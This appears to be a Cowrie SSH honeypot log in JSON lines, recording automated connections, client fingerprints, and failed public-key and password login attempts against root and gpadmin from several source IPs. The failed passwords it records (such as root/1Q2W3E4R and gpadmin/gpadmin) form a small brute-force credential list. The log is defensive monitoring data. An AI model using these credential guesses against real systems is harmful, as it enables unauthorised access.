{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:7c:53:03:37:69:12:0b:01:ab:4d:e0:4a:ba:ce:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0MKsvovWuwvpRE1IVlXLRKzGvnv6cHjrkwmezLlt041pORouk7mUKIEVIQ2X7XSm7V3EQ0+6Sigh2aB54CRLbBFaCmUn0oWn4n7ZSo1CAmzYZuXp7h7EDDcxzXcggoUgXCy+A8PGLW+8RjTKRctCLbiMjRjOMz5Mu2pMIxsF5+eQ6aBaAIph+Ek8QdH6lk9AIi40Xoqs8i3Jy5E2RQ9j1LzOU81/Wrsn65hqwQob6CxBHtMbYh8KYd/isaA8wD2ZO9tfHyoSXcDIm0UTqxJPQ5QW+XaLZSSualHs5eDdVl7K+A1d2iJQ8sCkVLajtggRj8g55rdCuOcsUkbBTB7C3Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:04.972297Z","src_ip":"209.209.8.82","session":"c43478f0c23f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:75:bf:c7:66:32:56:ce:3b:0a:69:1c:73:ad:49:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs4VeXdvEGVbGaxh1hzLq7JOav52sOD5hjTASo4T9z7IUe4OljwGar8nxbokFVJC+R2bHRibs52C00447qIUXMsjsjoNPqD9clvOz1Cv+SBjHz++2wmzWvpXE2fMeLSbGlkeFTX6YoWCgWOZGhbGEmdW/SCzGKIYCGAnaxgYjdbiEHjNoaTYCJU1AKEIYc0kEP6ojow2eom+8Vkb2dx7PagBV8T1OQJevmsEcJtvG1/o/5jZuh3jg0saS3wxFem6io7YrE/0CoDnZrP4TZXCkxvENGUU50b4YOwLvp17leJzlls/46Z09vq1Jt3QQqRbmcJ0J62mcBZj37+HMqwf+DQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:75:bf:c7:66:32:56:ce:3b:0a:69:1c:73:ad:49:a5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:04.997555Z","src_ip":"209.209.8.82","session":"c43478f0c23f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:75:bf:c7:66:32:56:ce:3b:0a:69:1c:73:ad:49:a5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAs4VeXdvEGVbGaxh1hzLq7JOav52sOD5hjTASo4T9z7IUe4OljwGar8nxbokFVJC+R2bHRibs52C00447qIUXMsjsjoNPqD9clvOz1Cv+SBjHz++2wmzWvpXE2fMeLSbGlkeFTX6YoWCgWOZGhbGEmdW/SCzGKIYCGAnaxgYjdbiEHjNoaTYCJU1AKEIYc0kEP6ojow2eom+8Vkb2dx7PagBV8T1OQJevmsEcJtvG1/o/5jZuh3jg0saS3wxFem6io7YrE/0CoDnZrP4TZXCkxvENGUU50b4YOwLvp17leJzlls/46Z09vq1Jt3QQqRbmcJ0J62mcBZj37+HMqwf+DQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:05.002100Z","src_ip":"209.209.8.82","session":"c43478f0c23f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:a5:99:11:78:91:21:19:bb:85:ee:6b:92:dd:8b:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAISdHIRIEaNUtbnWoFVJsgtyZ1ART9ro355ZLJ1jMdLf17Z2wBxec33S7UwcrauC3DQr8E7yHVkLdLxH1+2qdhBtwjOhlLLDCFiw3ZFeV1ZkuZkYACuPYaMcvCFkngslqXnE2PCE3dptWoVWzZkGWB985YTdmXAlGXOxv57OzWNvKgp2WVE6Azq+vCLPTY0Y08841c47LVdJHcTySDdEZmJzOvVf6fOB3wB7/mnEXd0efx5ErNvZFnQXZ1eXjZqRpkrXm7CrrG9u2AG2OLgO1CQCVfJNxt4SB8i1d3eOo9typU/d5h//tIyz9b0D3xA+gwu+kQA78b/cRhEj1LaZAzefBHUjt0H/fNH+QPCu9M3YT0pg0i3O6x449MgzHEoKe4ngeBca+LtmBZjCBIKEf7QXkziYFPujEAXvqS9AMUgLzfk29S+eM7GbHaINY/nakAnFyjEYjqgQjYKKYh/nSWuw1zulxWgBt7+UnP9GtLE4OkEDehTIq2P3ikepgfR6F841gtZuAC+L2tWnv02Z7p0/+V1lHGEG+qlrZ1zfSudYI5TxzEKezTo7EFTXDZ2c+ZpPf0RcSzkOQ0eFk3hguCYmdkuBYWvOjxRlJfw0Qqyidx0VvkJQE7PSxVeKhqUex1KRDPTfgArXRzv/aYpVrlsSpkcwz7iv/GpcjgBIvMw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:a5:99:11:78:91:21:19:bb:85:ee:6b:92:dd:8b:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:05.028557Z","src_ip":"209.209.8.82","session":"c43478f0c23f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:a5:99:11:78:91:21:19:bb:85:ee:6b:92:dd:8b:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAISdHIRIEaNUtbnWoFVJsgtyZ1ART9ro355ZLJ1jMdLf17Z2wBxec33S7UwcrauC3DQr8E7yHVkLdLxH1+2qdhBtwjOhlLLDCFiw3ZFeV1ZkuZkYACuPYaMcvCFkngslqXnE2PCE3dptWoVWzZkGWB985YTdmXAlGXOxv57OzWNvKgp2WVE6Azq+vCLPTY0Y08841c47LVdJHcTySDdEZmJzOvVf6fOB3wB7/mnEXd0efx5ErNvZFnQXZ1eXjZqRpkrXm7CrrG9u2AG2OLgO1CQCVfJNxt4SB8i1d3eOo9typU/d5h//tIyz9b0D3xA+gwu+kQA78b/cRhEj1LaZAzefBHUjt0H/fNH+QPCu9M3YT0pg0i3O6x449MgzHEoKe4ngeBca+LtmBZjCBIKEf7QXkziYFPujEAXvqS9AMUgLzfk29S+eM7GbHaINY/nakAnFyjEYjqgQjYKKYh/nSWuw1zulxWgBt7+UnP9GtLE4OkEDehTIq2P3ikepgfR6F841gtZuAC+L2tWnv02Z7p0/+V1lHGEG+qlrZ1zfSudYI5TxzEKezTo7EFTXDZ2c+ZpPf0RcSzkOQ0eFk3hguCYmdkuBYWvOjxRlJfw0Qqyidx0VvkJQE7PSxVeKhqUex1KRDPTfgArXRzv/aYpVrlsSpkcwz7iv/GpcjgBIvMw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:05.031906Z","src_ip":"209.209.8.82","session":"c43478f0c23f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:fd:5b:51:ff:ba:ec:d4:78:ad:e8:1d:2e:b5:be:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKSfIXI9UpLIpmQpJVQIAy2XElOwCRMtrQ1ZjjADx6+v1jJUdnVBml1zUXYZlBvRtPQ4CGXMotfbWX7qBcXwh5xRs0U4nFjiH5RPL9zQjiV2TC8CLn/8Z8Zrht5hxKnDIKpvSITGBPBYlURXaM/6B1Ny2qjUFa2m2QQJpzE13Nd1xPcyG/JSJghy/yZ5n1kK/UmTE1vVK5iTXe1+s3cxl06Mp7W+1FqDsE3O7lpg0wYkCkFeDzQ50ChiMU7LUhh/nx0OWBcwt6fN8is0PNKcbtrutR29/3GJZBe8cL/QIoYF3mG1IBqELtgE3os1Xj0QAQua9iDXSRu/47YdUiTDc1HoCvtvGQjV3WiA7jdj5h220C2wRF7q1AVaBxuxZxHpFt/AF9PuFgWBW1EEpsp0k+ySKGAX0XGu4RzSCo4D+XCIurZjGtMkAj60xvzmMDrZk/BD4EjZV8VkOJaXpjKbDMdb9br68k1KRM+hI3AhAFpauj0qQ4MqYsM2dWhZUjmMbcHWwr0hj/+o/h/hL00uX4DgUosFFvmbErPw3FWJFIKgAHfvZZ52Z3PRnseTHx4jET3Ha7kEQ+2FiyZwX4tDk74zKlM2/N+j9TVpAEbiB2uCQ5WkyJWGrjhaOTfqIEZIXoYPGfuBWcq+UYCtYJatZB7BS5eJPkDiirP4XkFmBrSQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:fd:5b:51:ff:ba:ec:d4:78:ad:e8:1d:2e:b5:be:5c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:05.056708Z","src_ip":"209.209.8.82","session":"c43478f0c23f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:fd:5b:51:ff:ba:ec:d4:78:ad:e8:1d:2e:b5:be:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDKSfIXI9UpLIpmQpJVQIAy2XElOwCRMtrQ1ZjjADx6+v1jJUdnVBml1zUXYZlBvRtPQ4CGXMotfbWX7qBcXwh5xRs0U4nFjiH5RPL9zQjiV2TC8CLn/8Z8Zrht5hxKnDIKpvSITGBPBYlURXaM/6B1Ny2qjUFa2m2QQJpzE13Nd1xPcyG/JSJghy/yZ5n1kK/UmTE1vVK5iTXe1+s3cxl06Mp7W+1FqDsE3O7lpg0wYkCkFeDzQ50ChiMU7LUhh/nx0OWBcwt6fN8is0PNKcbtrutR29/3GJZBe8cL/QIoYF3mG1IBqELtgE3os1Xj0QAQua9iDXSRu/47YdUiTDc1HoCvtvGQjV3WiA7jdj5h220C2wRF7q1AVaBxuxZxHpFt/AF9PuFgWBW1EEpsp0k+ySKGAX0XGu4RzSCo4D+XCIurZjGtMkAj60xvzmMDrZk/BD4EjZV8VkOJaXpjKbDMdb9br68k1KRM+hI3AhAFpauj0qQ4MqYsM2dWhZUjmMbcHWwr0hj/+o/h/hL00uX4DgUosFFvmbErPw3FWJFIKgAHfvZZ52Z3PRnseTHx4jET3Ha7kEQ+2FiyZwX4tDk74zKlM2/N+j9TVpAEbiB2uCQ5WkyJWGrjhaOTfqIEZIXoYPGfuBWcq+UYCtYJatZB7BS5eJPkDiirP4XkFmBrSQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:05.062144Z","src_ip":"209.209.8.82","session":"c43478f0c23f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:1f:b5:78:c3:df:35:17:72:cf:4e:29:9f:6e:23:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClZP3IHU2Z3EVFZXrBRo9P8dyKONAW8LV3+xIoqkXgaCE6XgrEWKUR/tYr7fimlA1RpEPm59w3iS1ufvXNJXe6JFA8j2FpRO3lPXcfzphLNE9pi9t+Wnt/PyfgB6sIhdW8FmwKX+tKcdPTMjJa+BKeZYGEeoNonbhfPZ4VsJAHGqKVu5b3irvqP6+ikDNqicANNVb+kC/qC9idiUcr8lMro4iri0TEfE2Eozu75byTaLCO4APp+Tj4ZNp81RgeTBfEEdhCHsgyDCgeO4HvWg1ay+Edr/S45HS511fWFb3+htvP7mqCbA/9Uq1h6/Pl5fRBLTucwClb2Ix4I5AQFFSO+ZYezT5uS8XFbftygmH9IInOa53gtvwmA9lg7hXHHQdLUWiJoUYgQRr+ehK8b+NxDtXQIWu8DSQOWz8OEMMSfDtfRGNAlXrYWVKTiO6BDml3XKaEYyqigiDWU3ZpBTNzVEt2HqbnnhNwcC2ERR6Slgoot8o0nbKguT2QR97PvIeTmNpSFabeqghmpVF9p45MO6J1yse/UjZnv/sgwG209fLcmhdYDJ4TAPyH/Q3zvnjm0mGchv1pbqJedBd8UF1hpR70b86euZ25VZtc3k1tudrR4i5Jr0S6fsNxnmb48jWiQxIH5KYhIkCsJg0W3WE6w00dTm66C+O9aFRYFJGDTw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:1f:b5:78:c3:df:35:17:72:cf:4e:29:9f:6e:23:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:05.091337Z","src_ip":"209.209.8.82","session":"c43478f0c23f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:1f:b5:78:c3:df:35:17:72:cf:4e:29:9f:6e:23:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClZP3IHU2Z3EVFZXrBRo9P8dyKONAW8LV3+xIoqkXgaCE6XgrEWKUR/tYr7fimlA1RpEPm59w3iS1ufvXNJXe6JFA8j2FpRO3lPXcfzphLNE9pi9t+Wnt/PyfgB6sIhdW8FmwKX+tKcdPTMjJa+BKeZYGEeoNonbhfPZ4VsJAHGqKVu5b3irvqP6+ikDNqicANNVb+kC/qC9idiUcr8lMro4iri0TEfE2Eozu75byTaLCO4APp+Tj4ZNp81RgeTBfEEdhCHsgyDCgeO4HvWg1ay+Edr/S45HS511fWFb3+htvP7mqCbA/9Uq1h6/Pl5fRBLTucwClb2Ix4I5AQFFSO+ZYezT5uS8XFbftygmH9IInOa53gtvwmA9lg7hXHHQdLUWiJoUYgQRr+ehK8b+NxDtXQIWu8DSQOWz8OEMMSfDtfRGNAlXrYWVKTiO6BDml3XKaEYyqigiDWU3ZpBTNzVEt2HqbnnhNwcC2ERR6Slgoot8o0nbKguT2QR97PvIeTmNpSFabeqghmpVF9p45MO6J1yse/UjZnv/sgwG209fLcmhdYDJ4TAPyH/Q3zvnjm0mGchv1pbqJedBd8UF1hpR70b86euZ25VZtc3k1tudrR4i5Jr0S6fsNxnmb48jWiQxIH5KYhIkCsJg0W3WE6w00dTm66C+O9aFRYFJGDTw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:05.096062Z","src_ip":"209.209.8.82","session":"c43478f0c23f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:05.125464Z","src_ip":"209.209.8.82","session":"c43478f0c23f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":39456,"dst_ip":"159.203.135.109","dst_port":22,"session":"f96eeb2034cf","protocol":"ssh","message":"New connection: 83.168.110.85:39456 (159.203.135.109:22) [session: f96eeb2034cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:10.761478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:10.766342Z","src_ip":"83.168.110.85","session":"f96eeb2034cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:10.888618Z","src_ip":"83.168.110.85","session":"f96eeb2034cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:11.452187Z","src_ip":"83.168.110.85","session":"f96eeb2034cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:12.576579Z","src_ip":"83.168.110.85","session":"f96eeb2034cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":39360,"dst_ip":"159.203.135.109","dst_port":22,"session":"831e3171b526","protocol":"ssh","message":"New connection: 103.118.29.129:39360 (159.203.135.109:22) [session: 831e3171b526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:19.647978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:19.658894Z","src_ip":"103.118.29.129","session":"831e3171b526","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:19.900875Z","src_ip":"103.118.29.129","session":"831e3171b526","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":34496,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f178c550460","protocol":"ssh","message":"New connection: 83.168.110.85:34496 (159.203.135.109:22) [session: 3f178c550460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:20.821650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:20.825868Z","src_ip":"83.168.110.85","session":"3f178c550460","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gao123","message":"login attempt [root/gao123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:20.888265Z","src_ip":"103.118.29.129","session":"831e3171b526","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:20.946796Z","src_ip":"83.168.110.85","session":"3f178c550460","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:21.314084Z","src_ip":"83.168.110.85","session":"3f178c550460","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:22.131149Z","src_ip":"103.118.29.129","session":"831e3171b526","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:22.436343Z","src_ip":"83.168.110.85","session":"3f178c550460","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":57206,"dst_ip":"159.203.135.109","dst_port":22,"session":"a29c2306aa56","protocol":"ssh","message":"New connection: 160.251.185.39:57206 (159.203.135.109:22) [session: a29c2306aa56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:30.289112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:30.297007Z","src_ip":"160.251.185.39","session":"a29c2306aa56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:30.477764Z","src_ip":"160.251.185.39","session":"a29c2306aa56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":41936,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a777efd1572","protocol":"ssh","message":"New connection: 83.168.110.85:41936 (159.203.135.109:22) [session: 3a777efd1572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:31.142098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:31.146753Z","src_ip":"83.168.110.85","session":"3a777efd1572","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nick","message":"login attempt [root/nick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:37:31.230889Z","src_ip":"160.251.185.39","session":"a29c2306aa56","protocol":"ssh"}
